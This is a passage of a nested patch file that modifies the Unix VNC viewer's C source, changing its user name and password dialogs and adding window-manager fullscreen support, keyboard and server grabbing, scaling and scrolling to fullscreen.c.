-+ XtRealizeWidget(pshell);
-+
-+ if (0 && appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+#if 0
-+ dialog_input(pshell);
-+#endif
-+ wm_delete(pshell, "UserDialogDone()");
-+
-+ userDialogDone = False;
-+
-+ while (!userDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ userName = XtNewString(valueString);
-+
-+ XtPopdown(pshell);
-+ return userName;
- }
-
- void
--PasswordDialogDone(Widget w, XEvent *event, String *params,
-- Cardinal *num_params)
-+PasswordDialogDone(Widget w, XEvent *event, String *params, Cardinal *num_params)
- {
-- passwordDialogDone = True;
-+ passwordDialogDone = True;
-+ if (w || event || params || num_params) {}
- }
-
- char *
- DoPasswordDialog()
- {
-- Widget pshell, dialog;
-- char *password;
-- char *valueString;
-+ Widget pshell, dialog;
-+ char *password;
-+ char *valueString;
-
-- pshell = XtVaCreatePopupShell("passwordDialog", transientShellWidgetClass,
-+ pshell = XtVaCreatePopupShell("passwordDialog", transientShellWidgetClass,
- toplevel, NULL);
-- dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
--
-- XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5,
-- HeightOfScreen(XtScreen(pshell))*2/5);
-- XtPopup(pshell, XtGrabNonexclusive);
-- XtRealizeWidget(pshell);
--
-- passwordDialogDone = False;
-+ dialog = XtVaCreateManagedWidget("dialog", dialogWidgetClass, pshell, NULL);
-
-- while (!passwordDialogDone) {
-- XtAppProcessEvent(appContext, XtIMAll);
-- }
-+ dialog_over(pshell);
-
-- valueString = XawDialogGetValueString(dialog);
-- password = XtNewString(valueString);
-+ if(0) XtMoveWidget(pshell, WidthOfScreen(XtScreen(pshell))*2/5, HeightOfScreen(XtScreen(pshell))*2/5);
-+ XtPopup(pshell, XtGrabNonexclusive);
-+ XtRealizeWidget(pshell);
-+
-+ if (0 && appData.popupFix) {
-+ popupFixer(pshell);
-+ } else {
-+ xtmove(pshell);
-+ }
-+#if 0
-+ dialog_input(pshell);
-+#endif
-+ wm_delete(pshell, "PasswordDialogDone()");
-+
-+ passwordDialogDone = False;
-+
-+ while (!passwordDialogDone) {
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+
-+ valueString = XawDialogGetValueString(dialog);
-+ rmNL(valueString);
-+ password = XtNewString(valueString);
-
-- XtPopdown(pshell);
-- return password;
-+ XtPopdown(pshell);
-+ return password;
- }
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/fullscreen.c vnc_unixsrc/vncviewer/fullscreen.c
---- vnc_unixsrc.orig/vncviewer/fullscreen.c 2003-10-09 05:23:49.000000000 -0400
-+++ vnc_unixsrc/vncviewer/fullscreen.c 2010-02-25 22:37:49.000000000 -0500
-@@ -22,20 +22,24 @@
- */
-
- #include <vncviewer.h>
-+#include <time.h>
- #include <X11/Xaw/Form.h>
- #include <X11/Xaw/Viewport.h>
- #include <X11/Xaw/Toggle.h>
-
- static Bool DoBumpScroll();
-+static Bool DoJumpScroll();
- static void BumpScrollTimerCallback(XtPointer clientData, XtIntervalId *id);
-+static void JumpScrollTimerCallback(XtPointer clientData, XtIntervalId *id);
- static XtIntervalId timer;
- static Bool timerSet = False;
- static Bool scrollLeft, scrollRight, scrollUp, scrollDown;
--static Position desktopX, desktopY;
-+Position desktopX, desktopY;
- static Dimension viewportWidth, viewportHeight;
- static Dimension scrollbarWidth, scrollbarHeight;
-
-
-+int scale_round(int len, double fac);
-
- /*
- * FullScreenOn goes into full-screen mode. It makes the toplevel window
-@@ -78,112 +82,456 @@
- * variables so that FullScreenOff can use them.
- */
-
--void
--FullScreenOn()
--{
-- Dimension toplevelWidth, toplevelHeight;
-- Dimension oldViewportWidth, oldViewportHeight, clipWidth, clipHeight;
-- Position viewportX, viewportY;
--
-- appData.fullScreen = True;
--
-- if (si.framebufferWidth > dpyWidth || si.framebufferHeight > dpyHeight) {
--
-- XtVaSetValues(viewport, XtNforceBars, True, NULL);
-- XtVaGetValues(viewport, XtNwidth, &oldViewportWidth,
-- XtNheight, &oldViewportHeight, NULL);
-- XtVaGetValues(XtNameToWidget(viewport, "clip"),
-- XtNwidth, &clipWidth, XtNheight, &clipHeight, NULL);
--
-- scrollbarWidth = oldViewportWidth - clipWidth;
-- scrollbarHeight = oldViewportHeight - clipHeight;
--
-- if (si.framebufferWidth > dpyWidth) {
-- viewportWidth = toplevelWidth = dpyWidth + scrollbarWidth;
-- } else {
-- viewportWidth = si.framebufferWidth + scrollbarWidth;
-- toplevelWidth = dpyWidth;
-- }
--
-- if (si.framebufferHeight > dpyHeight) {
-- viewportHeight = toplevelHeight = dpyHeight + scrollbarHeight;
-- } else {
-- viewportHeight = si.framebufferHeight + scrollbarHeight;
-- toplevelHeight = dpyHeight;
-- }
--
-- } else {
-- viewportWidth = si.framebufferWidth;
-- viewportHeight = si.framebufferHeight;
-- toplevelWidth = dpyWidth;
-- toplevelHeight = dpyHeight;
-- }
-+int net_wm_supported(void) {
-+ unsigned char *data;
-+ unsigned long items_read, items_left, i;
-+ int ret, format;
-+ Window wm;
-+ Atom type;
-+ Atom _NET_SUPPORTING_WM_CHECK;
-+ Atom _NET_SUPPORTED;
-+ Atom _NET_WM_STATE;
-+ Atom _NET_WM_STATE_FULLSCREEN;
-+
-+ static time_t last_check = 0;
-+ static int fs_supported = -1;
-+
-+ if (fs_supported >= 0 && time(NULL) < last_check + 600) {
-+ static int first = 1;
-+ if (first) {
-+ fprintf(stderr, "fs_supported: %d\n", fs_supported);
-+ }
-+ first = 0;
-+ return fs_supported;
-+ }
-+ last_check = time(NULL);
-+
-+ fs_supported = 0;
-+
-+ _NET_SUPPORTING_WM_CHECK = XInternAtom(dpy, "_NET_SUPPORTING_WM_CHECK", False);
-+ _NET_SUPPORTED = XInternAtom(dpy, "_NET_SUPPORTED", False);
-+ _NET_WM_STATE = XInternAtom(dpy, "_NET_WM_STATE", False);
-+ _NET_WM_STATE_FULLSCREEN = XInternAtom(dpy, "_NET_WM_STATE_FULLSCREEN", False);
-+
-+ ret = XGetWindowProperty(dpy, DefaultRootWindow(dpy), _NET_SUPPORTING_WM_CHECK,
-+ 0L, 1L, False, XA_WINDOW, &type, &format, &items_read, &items_left, &data);
-+
-+ if (ret != Success || !items_read) {
-+ if (ret == Success) {
-+ XFree(data);
-+ }
-+ return fs_supported;
-+ }
-+
-+ wm = ((Window*) data)[0];
-+ XFree(data);
-+
-+ ret = XGetWindowProperty(dpy, wm, _NET_SUPPORTING_WM_CHECK,
-+ 0L, 1L, False, XA_WINDOW, &type, &format, &items_read, &items_left, &data);
-+
-+ if (ret != Success || !items_read) {
-+ if (ret == Success) {
-+ XFree(data);
-+ }
-+ return fs_supported;
-+ }
-+
-+ if (wm != ((Window*) data)[0]) {
-+ XFree(data);
-+ return fs_supported;
-+ }
-+
-+ ret = XGetWindowProperty(dpy, DefaultRootWindow(dpy), _NET_SUPPORTED,
-+ 0L, 8192L, False, XA_ATOM, &type, &format, &items_read, &items_left, &data);
-+
-+ if (ret != Success || !items_read) {
-+ if (ret == Success) {
-+ XFree(data);
-+ }
-+ return fs_supported;
-+ }
-+
-+ for (i=0; i < items_read; i++) {
-+ if ( ((Atom*) data)[i] == _NET_WM_STATE_FULLSCREEN) {
-+ fs_supported = 1;
-+ }
-+ }
-+ XFree(data);
-
-- viewportX = (toplevelWidth - viewportWidth) / 2;
-- viewportY = (toplevelHeight - viewportHeight) / 2;
-+ return fs_supported;
-+}
-
-+static void net_wm_fullscreen(int to_fs) {
-+
-+ int _NET_WM_STATE_REMOVE = 0;
-+ int _NET_WM_STATE_ADD = 1;
-+#if 0
-+ int _NET_WM_STATE_TOGGLE = 2;
-+#endif
-+ Atom _NET_WM_STATE = XInternAtom(dpy, "_NET_WM_STATE", False);
-+ Atom _NET_WM_STATE_FULLSCREEN = XInternAtom(dpy, "_NET_WM_STATE_FULLSCREEN", False);
-+ XEvent xev;
-+
-+ if (to_fs == 2) {
-+ XChangeProperty(dpy, XtWindow(toplevel), _NET_WM_STATE, XA_ATOM, 32, PropModeReplace, (unsigned char*)&_NET_WM_STATE_FULLSCREEN, 1);
-+ } else {
-+ xev.xclient.type = ClientMessage;
-+ xev.xclient.window = XtWindow(toplevel);
-+ xev.xclient.message_type = _NET_WM_STATE;
-+ xev.xclient.serial = 0;
-+ xev.xclient.display = dpy;
-+ xev.xclient.send_event = True;
-+ xev.xclient.format = 32;
-+ xev.xclient.data.l[0] = to_fs ? _NET_WM_STATE_ADD : _NET_WM_STATE_REMOVE;
-+ xev.xclient.data.l[1] = _NET_WM_STATE_FULLSCREEN;
-+ xev.xclient.data.l[2] = 0;
-+ xev.xclient.data.l[3] = 0;
-+ xev.xclient.data.l[4] = 0;
-+ XSendEvent(dpy, DefaultRootWindow(dpy), False, SubstructureRedirectMask | SubstructureNotifyMask, &xev);
-+ }
-
-- /* We want to stop the window manager from managing our toplevel window.
-- This is not really a nice thing to do, so may not work properly with every
-- window manager. We do this simply by setting overrideRedirect and
-- reparenting our window to the root. The window manager will get a
-- ReparentNotify and hopefully clean up its frame window. */
-+ XSync(dpy, False);
-+}
-
-- XtVaSetValues(toplevel, XtNoverrideRedirect, True, NULL);
-+time_t main_grab = 0;
-
-- XReparentWindow(dpy, XtWindow(toplevel), DefaultRootWindow(dpy), 0, 0);
-+void fs_ungrab(int check) {
-+ if (check) {
-+ if (time(NULL) <= main_grab + 2) {
-+ return;
-+ }
-+ if (net_wm_supported()) {
-+ return;
-+ }
-+ }
-+ fprintf(stderr, "calling fs_ungrab()\n");
-+ if (appData.grabAll) { /* runge top of FullScreenOff */
-+ fprintf(stderr, "calling XUngrabServer(dpy)\n");
-+ XUngrabServer(dpy);
-+ }
-+ if (appData.grabKeyboard) {
-+ fprintf(stderr, "calling XUngrabKeyboard(dpy)\n");
-+ XtUngrabKeyboard(desktop, CurrentTime);
-+ }
-+}
-
-- /* Some WMs does not obey x,y values of XReparentWindow; the window
-- is not placed in the upper, left corner. The code below fixes
-- this: It manually moves the window, after the Xserver is done
-- with XReparentWindow. The last XSync seems to prevent losing
-- focus, but I don't know why. */
-- XSync(dpy, False);
-- XMoveWindow(dpy, XtWindow(toplevel), 0, 0);
-- XSync(dpy, False);
--
-- /* Now we want to fix the size of "viewport". We shouldn't just change it
-- directly. Instead we set "toplevel" to the required size (which should
-- propagate through "form" to "viewport"). Then we remove "viewport" from
-- being managed by "form", change its resources to position it and make sure
-- that "form" won't attempt to resize it, then ask "form" to manage it
-- again. */
--
-- XtResizeWidget(toplevel, viewportWidth, viewportHeight, 0);
--
-- XtUnmanageChild(viewport);
--
-- XtVaSetValues(viewport,
-- XtNhorizDistance, viewportX,
-- XtNvertDistance, viewportY,
-- XtNleft, XtChainLeft,
-- XtNright, XtChainLeft,
-- XtNtop, XtChainTop,
-- XtNbottom, XtChainTop,
-- NULL);
-+void fs_grab(int check) {
-+ if (check) {
-+ if (time(NULL) <= main_grab + 2) {
-+ return;
-+ }
-+ if (net_wm_supported()) {
-+ return;
-+ }
-+ }
-+
-+ main_grab = time(NULL);
-+
-+ fprintf(stderr, "calling fs_grab()\n");
-+
-+#define FORCE_UP \
-+ XSync(dpy, False); \
-+ XUnmapWindow(dpy, XtWindow(toplevel)); \
-+ XSync(dpy, False); \
-+ XMapWindow(dpy, XtWindow(toplevel)); \
-+ XRaiseWindow(dpy, XtWindow(toplevel)); \
-+ XSync(dpy, False);
-+
-+ if (appData.grabKeyboard && XtGrabKeyboard(desktop, True, GrabModeAsync, GrabModeAsync, CurrentTime) != GrabSuccess) {
-+ fprintf(stderr, "XtGrabKeyboard() failed.\n");
-+ XSync(dpy, False);
-+ usleep(100 * 1000);
-+ FORCE_UP
-+
-+ if (XtGrabKeyboard(desktop, True, GrabModeAsync, GrabModeAsync, CurrentTime) != GrabSuccess) {
-+ fprintf(stderr, "XtGrabKeyboard() failed again.\n");
-+ usleep(200 * 1000);
-+ XSync(dpy, False);
-+ if (XtGrabKeyboard(desktop, True, GrabModeAsync, GrabModeAsync, CurrentTime) != GrabSuccess) {
-+ fprintf(stderr, "XtGrabKeyboard() failed 3rd time.\n");
-+ } else {
-+ fprintf(stderr, "XtGrabKeyboard() OK 3rd try.\n");
-+ }
-+ } else {
-+ fprintf(stderr, "XtGrabKeyboard() OK 2nd try.\n");
-+ }
-+ XRaiseWindow(dpy, XtWindow(toplevel));
-+ }
-+
-+ if (appData.grabAll) {
-+ fprintf(stderr, "calling XGrabServer(dpy)\n");
-+ if (! XGrabServer(dpy)) {
-+ XSync(dpy, False);
-+ usleep(100 * 1000);
-+ fprintf(stderr, "calling XGrabServer(dpy) 2nd time\n");
-+ if (!XGrabServer(dpy)) {
-+ XSync(dpy, False);
-+ usleep(200 * 1000);
-+ fprintf(stderr, "calling XGrabServer(dpy) 3rd time\n");
-+ if (XGrabServer(dpy)) {
-+ fprintf(stderr, "XGrabServer(dpy) OK 3rd time\n");
-+ }
-+ } else {
-+ fprintf(stderr, "XGrabServer(dpy) OK 2nd time\n");
-+ }
-+ XSync(dpy, False);
-+ }
-+ if (getenv("VNCVIEWER_FORCE_UP")) {
-+ fprintf(stderr, "FORCE_UP\n");
-+ FORCE_UP
-+ }
-+ }
-+}
-+
-+extern int fullscreen_startup;
-+extern double last_fullscreen;
-+
-+#define set_size_hints() \
-+{ \
-+ long supplied; \
-+ XSizeHints *sizehints = XAllocSizeHints(); \
-+ XGetWMSizeHints(dpy, topwin, sizehints, &supplied, XA_WM_NORMAL_HINTS); \
-+ if (sizehints->base_width < toplevelWidth) { \
-+ sizehints->base_width = toplevelWidth; \
-+ } \
-+ if (sizehints->base_height < toplevelHeight) { \
-+ sizehints->base_height = toplevelHeight; \
-+ } \
-+ if (sizehints->max_width < toplevelWidth) { \
-+ sizehints->max_width = toplevelWidth; \
-+ } \
-+ if (sizehints->max_height < toplevelHeight) { \
-+ sizehints->max_height = toplevelHeight; \
-+ } \
-+ XSetWMSizeHints(dpy, topwin, sizehints, XA_WM_NORMAL_HINTS); \
-+ XFree(sizehints); \
-+}
-
-- XtManageChild(viewport);
-+extern int scale_x, scale_y;
-+extern double scale_factor_y;
-+
-+void
-+FullScreenOn()
-+{
-+ Dimension toplevelWidth, toplevelHeight;
-+ Dimension oldViewportWidth, oldViewportHeight, clipWidth, clipHeight;
-+ Position viewportX, viewportY;
-+ int do_net_wm = net_wm_supported();
-+ int fbW = si.framebufferWidth;
-+ int fbH = si.framebufferHeight;
-+ int eff_height;
-+
-+ Bool fsAlready = appData.fullScreen, toobig = False;
-+ Window topwin = XtWindow(toplevel);
-+
-+ appData.fullScreen = True;
-+
-+ last_fullscreen = dnow();
-+
-+ if (scale_x > 0) {
-+ fbW = scale_x;
-+ fbH = scale_y;
-+ }
-+
-+ eff_height = fbH;
-+ if (appData.yCrop > 0) {
-+ eff_height = appData.yCrop;
-+ if (scale_y > 0) {
-+ eff_height = scale_round(eff_height, scale_factor_y);
-+ }
-+ }
-+
-+ if (fbW > dpyWidth || eff_height > dpyHeight) {
-+
-+ toobig = True;
-+
-+ /*
-+ * This is a crazy thing to have the scrollbars hang
-+ * just a bit offscreen to the right and below. the user
-+ * will not see them and bumpscroll will work.
-+ */
-+
-+ XtVaSetValues(viewport, XtNforceBars, True, NULL);
-+ XtVaGetValues(viewport, XtNwidth, &oldViewportWidth, XtNheight, &oldViewportHeight, NULL);
-+ XtVaGetValues(XtNameToWidget(viewport, "clip"), XtNwidth, &clipWidth, XtNheight, &clipHeight, NULL);
-+
-+ scrollbarWidth = oldViewportWidth - clipWidth;
-+ scrollbarHeight = oldViewportHeight - clipHeight;
-+
-+ if (fbW > dpyWidth) {
-+ viewportWidth = toplevelWidth = dpyWidth + scrollbarWidth;
-+ } else {
-+ viewportWidth = fbW + scrollbarWidth;
-+ toplevelWidth = dpyWidth;
-+ }
-+
-+ if (eff_height > dpyHeight) {
-+ viewportHeight = toplevelHeight = dpyHeight + scrollbarHeight;
-+ } else {
-+ viewportHeight = eff_height + scrollbarHeight;
-+ toplevelHeight = dpyHeight;
-+ }
-+ if (do_net_wm) {
-+ /* but for _NET_WM we make toplevel be correct dpy size */
-+ toplevelWidth = dpyWidth;
-+ toplevelHeight = dpyHeight;
-+ }
-+
-+ } else {
-+ viewportWidth = fbW;
-+ viewportHeight = eff_height;
-+ toplevelWidth = dpyWidth;
-+ toplevelHeight = dpyHeight;
-+ }
-
-- /* Now we can set "toplevel" to its proper size. */
-+ viewportX = (toplevelWidth - viewportWidth) / 2;
-+ viewportY = (toplevelHeight - viewportHeight) / 2;
-
-- XtResizeWidget(toplevel, toplevelWidth, toplevelHeight, 0);
-+ if (viewportX < 0) viewportX = 0;
-+ if (viewportY < 0) viewportY = 0;
-
-- /* Set the popup to overrideRedirect too */
-
-- XtVaSetValues(popup, XtNoverrideRedirect, True, NULL);
-+ /* We want to stop the window manager from managing our toplevel window.
-+ This is not really a nice thing to do, so may not work properly with every
-+ window manager. We do this simply by setting overrideRedirect and
-+ reparenting our window to the root. The window manager will get a
-+ ReparentNotify and hopefully clean up its frame window. */
-
-- /* Try to get the input focus. */
-+ if (! fsAlready) {
-+ if (!do_net_wm) {
-+ /* added to try to raise it on top for some cirumstances */
-+ XUnmapWindow(dpy, topwin);
-+
-+ XtVaSetValues(toplevel, XtNoverrideRedirect, True, NULL);
-+#if 0
-+ XtVaSetValues(viewport, XtNoverrideRedirect, True, NULL);
-+ XtVaSetValues(desktop, XtNoverrideRedirect, True, NULL);
-+#endif
-+ XtVaSetValues(popup, XtNoverrideRedirect, True, NULL);
-+
-+ XReparentWindow(dpy, topwin, DefaultRootWindow(dpy), 0, 0);
-+
-+ /* Some WMs does not obey x,y values of XReparentWindow; the window
-+ is not placed in the upper, left corner. The code below fixes
-+ this: It manually moves the window, after the Xserver is done
-+ with XReparentWindow. The last XSync seems to prevent losing
-+ focus, but I don't know why. */
-+
-+ XSync(dpy, False);
-+
-+ /* added to try to raise it on top for some cirumstances */
-+ XMapRaised(dpy, topwin);
-+
-+ XMoveWindow(dpy, topwin, 0, 0);
-+ XSync(dpy, False);
-+ }
-+
-+ /* Now we want to fix the size of "viewport". We shouldn't just change it
-+ directly. Instead we set "toplevel" to the required size (which should
-+ propagate through "form" to "viewport"). Then we remove "viewport" from
-+ being managed by "form", change its resources to position it and make sure
-+ that "form" won't attempt to resize it, then ask "form" to manage it
-+ again. */
-+
-+ XtResizeWidget(toplevel, viewportWidth, viewportHeight, 0);
-+
-+ XtUnmanageChild(viewport);
-+
-+ XtVaSetValues(viewport,
-+ XtNhorizDistance, viewportX,
-+ XtNvertDistance, viewportY,
-+ XtNleft, XtChainLeft,
-+ XtNright, XtChainLeft,
-+ XtNtop, XtChainTop,
-+ XtNbottom, XtChainTop,
-+ NULL);
-+
-+ XtManageChild(viewport);
-+ XSync(dpy, False);
-+ } else {
-+ XSync(dpy, False);
-+ }
-+
-+ /* Now we can set "toplevel" to its proper size. */
-+
-+#if 0
-+ XtVaSetValues(toplevel, XtNwidth, toplevelWidth, XtNheight, toplevelHeight, NULL);
-+ XtResizeWidget(toplevel, toplevelWidth, toplevelHeight, 0);
-+#endif
-+ XResizeWindow(dpy, topwin, toplevelWidth, toplevelHeight);
-+
-+ if (do_net_wm) {
-+ XWindowAttributes attr;
-+ int ok = 0, i, delay = 20;
-+
-+ usleep(delay * 1000);
-+
-+#define GSIZE() \
-+ XGetWindowAttributes(dpy, topwin, &attr);
-+
-+#define PSIZE(s) \
-+ XSync(dpy, False); \
-+ XGetWindowAttributes(dpy, topwin, &attr); \
-+ fprintf(stderr, "%s %dx%d+%d+%d\n", s, attr.width, attr.height, attr.x, attr.y);
-+
-+ PSIZE("size-A:");
-+
-+ set_size_hints();
-+
-+ net_wm_fullscreen(1);
-+
-+ PSIZE("size-B:");
-+
-+ for (i=0; i < 30; i++) {
-+ usleep(delay * 1000);
-+ GSIZE();
-+ fprintf(stderr, "size[%d] %dx%d+%d+%d\n", i, attr.width, attr.height, attr.x, attr.y);
-+ if (attr.width == toplevelWidth && attr.height == toplevelHeight) {
-+ ok = 1;
-+ fprintf(stderr, "size ok.\n");
-+ XSync(dpy, False);
-+ break;
-+ }
-+ set_size_hints();
-+ XResizeWindow(dpy, topwin, toplevelWidth, toplevelHeight);
-+ XMoveWindow(dpy, topwin, 0, 0);
-+ XSync(dpy, False);
-+ }
-+
-+ PSIZE("size-C:");
-+ }
-+
-+ fprintf(stderr, "\ntoplevel: %dx%d viewport: %dx%d\n", toplevelWidth, toplevelHeight, viewportWidth, viewportHeight);
-+
-+#if defined (__SVR4) && defined (__sun)
-+ if (!do_net_wm) {
-+ /* CDE */
-+ XSync(dpy, False);
-+ usleep(200 * 1000);
-+ XMoveWindow(dpy, topwin, 0, 0);
-+ XMapRaised(dpy, topwin);
-+ XSync(dpy, False);
-+ }
-+#endif
-+
-+ if (fsAlready) {
-+ XtResizeWidget(viewport, viewportWidth, viewportHeight, 0);
-+ if (! toobig) {
-+ XtVaSetValues(viewport, XtNforceBars, False, NULL);
-+ }
-+ XMoveWindow(dpy, topwin, viewportX, viewportY);
-+ XSync(dpy, False);
-+ }
-+
-+ /* Try to get the input focus. */
-
-- XSetInputFocus(dpy, DefaultRootWindow(dpy), RevertToPointerRoot,
-- CurrentTime);
-+ /* original vnc: DefaultRootWindow(dpy) instead of PointerRoot */
-+ XSetInputFocus(dpy, PointerRoot, RevertToPointerRoot, CurrentTime);
-
-- /* Optionally, grab the keyboard. */
-+ /* Optionally, grab the keyboard. */
-+ fs_grab(0);
-
-- if (appData.grabKeyboard &&
-- XtGrabKeyboard(desktop, True, GrabModeAsync,
-- GrabModeAsync, CurrentTime) != GrabSuccess) {
-- fprintf(stderr, "XtGrabKeyboard() failed.\n");
-- }
-+ /* finally done. */
- }
-
-
-@@ -205,28 +553,52 @@
- void
- FullScreenOff()
- {
-- int toplevelWidth = si.framebufferWidth;
-- int toplevelHeight = si.framebufferHeight;
--
-- appData.fullScreen = False;
-+ int toplevelWidth, toplevelHeight;
-+ int do_net_wm = net_wm_supported();
-+ int fbW = si.framebufferWidth;
-+ int fbH = si.framebufferHeight;
-+ int eff_height;
-+
-+ appData.fullScreen = False;
-+
-+ last_fullscreen = dnow();
-+
-+ if (scale_x > 0) {
-+ fbW = scale_x;
-+ fbH = scale_y;
-+ }
-+
-+ eff_height = fbH;
-+ if (appData.yCrop > 0) {
-+ eff_height = appData.yCrop;
-+ if (scale_y > 0) {
-+ eff_height = scale_round(eff_height, scale_factor_y);
-+ }
-+ }
-+
-+ toplevelWidth = fbW;
-+ toplevelHeight = eff_height;
-+
-+ fs_ungrab(0);
-+
-+ if (do_net_wm) {
-+ net_wm_fullscreen(0);
-+ } else {
-+ XtUnmapWidget(toplevel);
-+ }
-
-- if (appData.grabKeyboard)
-- XtUngrabKeyboard(desktop, CurrentTime);
--
-- XtUnmapWidget(toplevel);
--
-- XtResizeWidget(toplevel,
-+ XtResizeWidget(toplevel,
- viewportWidth - scrollbarWidth,
- viewportHeight - scrollbarHeight, 0);
-- XtResizeWidget(viewport,
-+ XtResizeWidget(viewport,
- viewportWidth - scrollbarWidth,
- viewportHeight - scrollbarHeight, 0);
-
-- XtVaSetValues(viewport, XtNforceBars, False, NULL);
-+ XtVaSetValues(viewport, XtNforceBars, False, NULL);
-
-- XtUnmanageChild(viewport);
-+ XtUnmanageChild(viewport);
-
-- XtVaSetValues(viewport,
-+ XtVaSetValues(viewport,
- XtNhorizDistance, 0,
- XtNvertDistance, 0,
- XtNleft, XtChainLeft,
-@@ -235,24 +607,42 @@
- XtNbottom, XtChainBottom,
- NULL);
-
-- XtManageChild(viewport);
--
-- XtVaSetValues(toplevel, XtNoverrideRedirect, False, NULL);
--
-- if ((toplevelWidth + appData.wmDecorationWidth) >= dpyWidth)
-- toplevelWidth = dpyWidth - appData.wmDecorationWidth;
--
-- if ((toplevelHeight + appData.wmDecorationHeight) >= dpyHeight)
-- toplevelHeight = dpyHeight - appData.wmDecorationHeight;
--
-- XtResizeWidget(toplevel, toplevelWidth, toplevelHeight, 0);
--
-- XtMapWidget(toplevel);
-- XSync(dpy, False);
-+ XtManageChild(viewport);
-
-- /* Set the popup back to non-overrideRedirect */
--
-- XtVaSetValues(popup, XtNoverrideRedirect, False, NULL);
-+ if (!do_net_wm) {
-+ XtVaSetValues(toplevel, XtNoverrideRedirect, False, NULL);
-+#if 0
-+ XtVaSetValues(viewport, XtNoverrideRedirect, False, NULL);
-+ XtVaSetValues(desktop, XtNoverrideRedirect, False, NULL);
-+#endif
-+ XtVaSetValues(popup, XtNoverrideRedirect, False, NULL);
-+ }
-+
-+ if ((toplevelWidth + appData.wmDecorationWidth) >= dpyWidth)
-+ toplevelWidth = dpyWidth - appData.wmDecorationWidth;
-+
-+ if ((toplevelHeight + appData.wmDecorationHeight) >= dpyHeight)
-+ toplevelHeight = dpyHeight - appData.wmDecorationHeight;
-+
-+ XtResizeWidget(toplevel, toplevelWidth, toplevelHeight, 0);
-+
-+ if (!do_net_wm) {
-+ XtMapWidget(toplevel);
-+ }
-+ XSync(dpy, False);
-+
-+ /* Set the popup back to non-overrideRedirect */
-+
-+ XtVaSetValues(popup, XtNoverrideRedirect, False, NULL);
-+
-+ if (!do_net_wm) {
-+ int x = (dpyWidth - toplevelWidth) / 2;
-+ int y = (dpyHeight - toplevelHeight) / 2;
-+ if (x > 0 && y > 0) {
-+ XSync(dpy, False);
-+ XMoveWindow(dpy, XtWindow(toplevel), x, y);
-+ }
-+ }
- }
-
-
-@@ -264,10 +654,12 @@
- void
- SetFullScreenState(Widget w, XEvent *ev, String *params, Cardinal *num_params)
- {
-- if (appData.fullScreen)
-- XtVaSetValues(w, XtNstate, True, NULL);
-- else
-- XtVaSetValues(w, XtNstate, False, NULL);
-+ if (appData.fullScreen) {
-+ XtVaSetValues(w, XtNstate, True, NULL);
-+ } else {
-+ XtVaSetValues(w, XtNstate, False, NULL);
-+ }
-+ if (w || ev || params || num_params) {}
- }
-
-
-@@ -278,11 +670,12 @@
- void
- ToggleFullScreen(Widget w, XEvent *ev, String *params, Cardinal *num_params)
- {
-- if (appData.fullScreen) {
-- FullScreenOff();
-- } else {
-- FullScreenOn();
-- }
-+ if (appData.fullScreen) {
-+ FullScreenOff();
-+ } else {
-+ FullScreenOn();
-+ }
-+ if (w || ev || params || num_params) {}
- }
-
-
-@@ -294,84 +687,226 @@
- Bool
- BumpScroll(XEvent *ev)
- {
-- scrollLeft = scrollRight = scrollUp = scrollDown = False;
-+ scrollLeft = scrollRight = scrollUp = scrollDown = False;
-
-- if (ev->xmotion.x_root >= dpyWidth - 3)
-- scrollRight = True;
-- else if (ev->xmotion.x_root <= 2)
-- scrollLeft = True;
--
-- if (ev->xmotion.y_root >= dpyHeight - 3)
-- scrollDown = True;
-- else if (ev->xmotion.y_root <= 2)
-- scrollUp = True;
--
-- if (scrollLeft || scrollRight || scrollUp || scrollDown) {
-- if (timerSet)
-- return True;
--
-- XtVaGetValues(desktop, XtNx, &desktopX, XtNy, &desktopY, NULL);
-- desktopX = -desktopX;
-- desktopY = -desktopY;
--
-- return DoBumpScroll();
-- }
--
-- if (timerSet) {
-- XtRemoveTimeOut(timer);
-- timerSet = False;
-- }
-+ if (ev->xmotion.x_root >= dpyWidth - 3)
-+ scrollRight = True;
-+ else if (ev->xmotion.x_root <= 2)
-+ scrollLeft = True;
-+
-+ if (ev->xmotion.y_root >= dpyHeight - 3)
-+ scrollDown = True;
-+ else if (ev->xmotion.y_root <= 2)
-+ scrollUp = True;
-+
-+ if (scrollLeft || scrollRight || scrollUp || scrollDown) {
-+ if (timerSet)
-+ return True;
-+
-+ XtVaGetValues(desktop, XtNx, &desktopX, XtNy, &desktopY, NULL);
-+ desktopX = -desktopX;
-+ desktopY = -desktopY;
-+
-+ return DoBumpScroll();
-+ }
-+
-+ if (timerSet) {
-+ XtRemoveTimeOut(timer);
-+ timerSet = False;
-+ }
-
-- return False;
-+ return False;
- }
-
- static Bool
- DoBumpScroll()
- {
-- int oldx = desktopX, oldy = desktopY;
--
-- if (scrollRight) {
-- if (desktopX < si.framebufferWidth - dpyWidth) {
-- desktopX += appData.bumpScrollPixels;
-- if (desktopX > si.framebufferWidth - dpyWidth)
-- desktopX = si.framebufferWidth - dpyWidth;
-- }
-- } else if (scrollLeft) {
-- if (desktopX > 0) {
-- desktopX -= appData.bumpScrollPixels;
-- if (desktopX < 0)
-- desktopX = 0;
-- }
-- }
--
-- if (scrollDown) {
-- if (desktopY < si.framebufferHeight - dpyHeight) {
-- desktopY += appData.bumpScrollPixels;
-- if (desktopY > si.framebufferHeight - dpyHeight)
-- desktopY = si.framebufferHeight - dpyHeight;
-- }
-- } else if (scrollUp) {
-- if (desktopY > 0) {
-- desktopY -= appData.bumpScrollPixels;
-- if (desktopY < 0)
-- desktopY = 0;
-- }
-- }
--
-- if (oldx != desktopX || oldy != desktopY) {
-- XawViewportSetCoordinates(viewport, desktopX, desktopY);
-- timer = XtAppAddTimeOut(appContext, appData.bumpScrollTime,
-- BumpScrollTimerCallback, NULL);
-- timerSet = True;
-- return True;
-- }
-+ int oldx = desktopX, oldy = desktopY;
-+ int fbW = si.framebufferWidth;
-+ int fbH = si.framebufferHeight;
-+
-+ if (scale_x > 0) {
-+ fbW = scale_x;
-+ fbH = scale_y;
-+ }
-+
-+ if (scrollRight) {
-+ if (desktopX < fbW - dpyWidth) {
-+ desktopX += appData.bumpScrollPixels;
-+ if (desktopX > fbW - dpyWidth) {
-+ desktopX = fbW - dpyWidth;
-+ }
-+ }
